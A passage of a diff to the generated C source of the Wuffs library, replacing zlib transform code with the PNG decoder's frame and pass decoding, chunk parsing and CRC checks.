WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else if (self->private_impl.f_call_sequence != 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } + while (true) { +- { +- wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); +- v_status = t_0; ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 68u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ iop_a_src += 8u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ break; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ self->private_impl.f_chunk_type_array[0u] = 102u; ++ self->private_impl.f_chunk_type_array[1u] = 100u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ iop_a_src += 8u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_seq_num = t_0; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; ++ } ++ self->private_impl.f_next_animation_seq_num += 1u; ++ break; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_data.s_do_decode_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ } ++ if (self->private_impl.f_zlib_is_dirty) { ++ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, ++ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ if (self->private_impl.f_ignore_checksum) { ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); ++ } ++ } ++ self->private_impl.f_zlib_is_dirty = true; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { + status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_workbuf_hist_pos_base = 0u; ++ while (true) { ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); ++ v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); ++ } else { ++ v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - self->private_impl.f_frame_rect_x0))); ++ v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); ++ } ++ if ((v_pass_width > 0u) && (v_pass_height > 0u)) { ++ self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); ++ self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); ++ while (true) { ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { ++ if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); ++ } ++ if (v_status.repr == wuffs_base__suspension__short_read) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; ++ } ++ if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { ++ break; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace_pass += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ self->private_impl.f_call_sequence = 32u; + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_do_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func zlib.decoder.do_transform_io ++// -------- func png.decoder.decode_pass + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_zlib__decoder__do_transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_png__decoder__decode_pass( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint16_t v_x = 0; +- uint32_t v_checksum_got = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_w_mark = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_have = 0; + uint32_t v_checksum_want = 0; +- uint64_t v_mark = 0; ++ uint32_t v_seq_num = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -52255,77 +65784,93 @@ wuffs_zlib__decoder__do_transform_io( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_pass; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_bad_call_sequence) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_quirks[0u]) { +- } else if ( ! self->private_impl.f_want_dictionary) { ++ self->private_impl.f_workbuf_wi = 0u; ++ while (true) { ++ if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint16_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ wuffs_base__io_buffer* o_0_v_w = v_w; ++ uint8_t* o_0_iop_v_w = iop_v_w; ++ uint8_t* o_0_io0_v_w = io0_v_w; ++ uint8_t* o_0_io1_v_w = io1_v_w; ++ uint8_t* o_0_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_workbuf_wi, ++ self->private_impl.f_pass_workbuf_length), ++ ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); ++ { ++ const bool o_1_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_1_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 8) { +- t_0 = ((uint16_t)(*scratch >> 48)); +- break; ++ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_0; ++ iop_v_w = u_w.data.ptr + u_w.meta.wi; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); ++ io2_a_src = o_1_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_1_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); + } + } +- v_x = t_0; +- } +- if (((v_x >> 8u) & 15u) != 8u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); +- goto exit; +- } +- if ((v_x >> 12u) > 7u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); +- goto exit; +- } +- if ((v_x % 31u) != 0u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); +- goto exit; ++ v_w = o_0_v_w; ++ iop_v_w = o_0_iop_v_w; ++ io0_v_w = o_0_io0_v_w; ++ io1_v_w = o_0_io1_v_w; ++ io2_v_w = o_0_io2_v_w; + } +- self->private_impl.f_want_dictionary = ((v_x & 32u) != 0u); +- if (self->private_impl.f_want_dictionary) { +- self->private_impl.f_dict_id_got = 1u; ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ if (self->private_impl.f_chunk_length > 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ goto exit; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + uint32_t t_1; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { + t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; + uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; + *scratch <<= 8; +@@ -52338,101 +65883,208 @@ wuffs_zlib__decoder__do_transform_io( + *scratch |= ((uint64_t)(num_bits_1)); + } + } +- self->private_impl.f_dict_id_want = t_1; ++ v_checksum_want = t_1; + } +- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); +- goto ok; +- } else if (self->private_impl.f_got_dictionary) { +- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); +- goto exit; +- } +- } else if (self->private_impl.f_dict_id_got != self->private_impl.f_dict_id_want) { +- if (self->private_impl.f_got_dictionary) { +- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ } ++ break; ++ } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { ++ if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); + goto exit; +- } +- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); +- goto ok; +- } +- self->private_impl.f_header_complete = true; +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ goto ok; ++ } else if (self->private_impl.f_chunk_length == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ v_checksum_want = t_2; + } +- wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); +- v_status = t_2; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } + } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ self->private_impl.f_chunk_length = t_3; + } +- } +- if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { +- v_checksum_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- } +- if ( ! self->private_impl.f_quirks[0u]) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; ++ } ++ self->private_impl.f_chunk_type = t_4; ++ } ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ if (self->private_impl.f_chunk_type != 1413563465u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ } else { ++ if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); ++ v_seq_num = t_5; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; + } ++ self->private_impl.f_next_animation_seq_num += 1u; + } +- v_checksum_want = t_3; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_got != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); ++ continue; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); + goto exit; + } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { ++ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); ++ goto exit; ++ } else if (0u < ((uint64_t)(a_workbuf.len))) { ++ if (a_workbuf.ptr[0u] == 4u) { ++ a_workbuf.ptr[0u] = 1u; ++ } + } + + ok: +- self->private_impl.p_do_transform_io[0] = 0; ++ self->private_impl.p_decode_pass = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_transform_io[0] = 